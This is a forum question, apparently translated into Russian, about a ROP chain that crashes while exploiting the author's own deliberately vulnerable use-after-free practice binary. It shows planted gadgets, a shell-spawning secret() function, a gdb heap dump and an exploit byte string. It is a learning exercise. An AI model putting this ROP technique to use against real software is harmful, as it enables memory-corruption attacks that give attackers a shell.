Моя программа падает на 0x16 даже с моей цепочкой ROP - PullRequest
3 голосов
/ 11 марта 2019

Итак, я недавно начал работать над моим двоичным файлом, который уязвим для использования после освобождения.Я обнаружил, что слишком легко просто перейти к секрету ().Поэтому я добавил переменную в раздел _DATA и установил ее значение равным 0. Затем я добавил жестко закодированную проверку в секрете:

if(check == 0){

exit(0);

}

system("/bin/sh");

...

Я также добавил несколько «гаджетов настройки» в свой код.
Это мой "гаджет записи"

__asm__("str r0,[r1]");

, и это мой гаджет настройки для гаджета записи:

__asm__("pop {r0,r1,pc}");

Куча с моими данными на нем:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000016
0x00000014 in ?? ()
(gdb) x/64wx 0x12edf0
0x12edf0: 0x41414141 0x42424242 0x43434343 0x44444444
0x12ee00: 0x45454545 0x46464646 0x47474747 0x48484848
0x12ee10: 0x0000bb8c 0xc0503149 0xbb800000 0xb96c0000
0x12ee20: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee30: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee40: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee50: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee60: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee70: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee80: 0x00000000 0x00000000 0x00000000 0x00000000
0x12ee90: 0x00000000 0x00000000 0x00000000 0x00000000
0x12eea0: 0x00000000 0x00000000 0x00000000 0x00000000
0x12eeb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x12eec0: 0x60000000 0x60000000 0x00000004 0x00000000
0x12eed0: 0x00000000 0x00000000 0x00000000 0x00000000
0x12eee0: 0x00000000 0x00000000 0x00000000 0x00000000

и вот моя строка эксплойта: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH\x8c\xbb\x00\x001111\x50\xc0\x00\x00\x80\xbb\x00\x00\x6c\xb9\x00\x00

Секрет:

0x0000b96c <secret+0>:  80 40 2d e9                   push  {r7, lr}

гаджет:

0x0000bb8c <gadget+0>:  03 80 bd e8                   pop   {r0, r1, pc}

0x00c050 это где моя переменнаяat

writeGagdet:

0x0000bb80 <writeGadget+4>:  00 00 81 e5                   str  r0, [r1]

Кто-нибудь знает, почему происходит сбой в 0x16, и как это исправить?Спасибо

...